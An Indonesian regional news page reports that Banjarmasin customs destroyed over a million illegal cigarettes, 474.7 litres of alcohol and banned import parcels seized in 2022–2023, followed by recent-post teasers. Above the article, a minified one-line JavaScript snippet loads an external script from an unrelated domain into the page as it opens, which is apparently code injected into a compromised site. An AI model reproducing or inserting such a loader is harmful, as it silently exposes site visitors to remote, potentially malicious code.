(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bea Cukai Banjarmasin Musnahkan Rokok dan Alkohol Ilegal


KANALKALIMANTAN.COM, BANJARMASIN – Kantor Pengawasan dan Pelayanan Bea dan Cukai Banjarmasin memusnahkan sejumlah barang hasil penindakan sepanjang tahun 2022 dan 2023.

Barang bukti yang dimusnahkan berupa jutaan batang hasil tembakau, minuman mengandung etil alkohol, dan paket barang bekas kepabeanan yang sebelumnya disita dan telah menjadi milik negara.

Kepala Kantor Bea Cukai Banjarmasin Edy Susetyo mengatakan, jumlah batang hasil tembakau yang dimusnahkan sebanyak 1.095.340, sebanyak 474,7 liter minuman mengandung etil alkohol, dan 14 paket barang hasil bekas kepabeanan.

“Perkiraan nilai seluruh barang yang dimusnahkan sebesar Rp1.340.665.160,” katanya, Rabu (26/7/2023) siang.

Baca juga: Eks Kepala PPATK Jadi Saksi Ahli Sidang Korupsi Mantan Bupati HST

Barang batang hasil tembakau dan minuman etil alkohol yang dimusnahkan disebutkan melanggar ketentuan Undang-Undang Nomor 11 tahun 1995 tentang cukai sebagaimana diubah dengan Undang-Undang Nomor 38 tahun 2007 dengan penggunaan pita cukai bekas, pita cukai palsu, dan tidak dilekati pita cukai.

“Mengakibatkan kerugian negara sebesar Rp881.290.940,” ungkap Kepala Bea Cukai Banjarmasin.

Sedangkan untuk barang eks kepabeanan yang dimusnahkan disebut melanggar ketentuan Undang-Undang Nomor 10 tahun 1995 tengang Kepabeanan sebagaina diubah dengan Undang-Undang Nomor 17 tahun 2006 yaitu barang yang dilarang atau dibatasi untuk diimpor.

Baca juga: 219 Desa di HSU Gelar Pemilihan Anggota BPD Serentak

Barang hasil penindakan tersebut dimusnahkan dengan cara dibakar, dirusak dengan mesin pemotong, dituang ke dalam drum dan ditimbun ke dalam tanah.

Barang yang dimusnahkan telah mendapatkan persetujuan untuk dilakukan pemusnahan dari Derektorat Jenderal Kekayaan Negara sesuai PMK-51/PMK.06/2021 tentang Pengelolaan Barang Milik Negara yang Berasal dari Aset Eks Kepabeanan dan Cukai.

Pemusnahan yang digelar dihalaman Kantor Bea Cukai Banjarmasin disaksikan oleh perwakilan Kejaksaan, TNI, Polri, Satpol PP, Direktorat Jenderal Kekayaan Negara, dan Perusahaan Jasa Titipan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

5 menit ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

4 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

6 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

6 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

9 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

9 jam ago

This website uses cookies.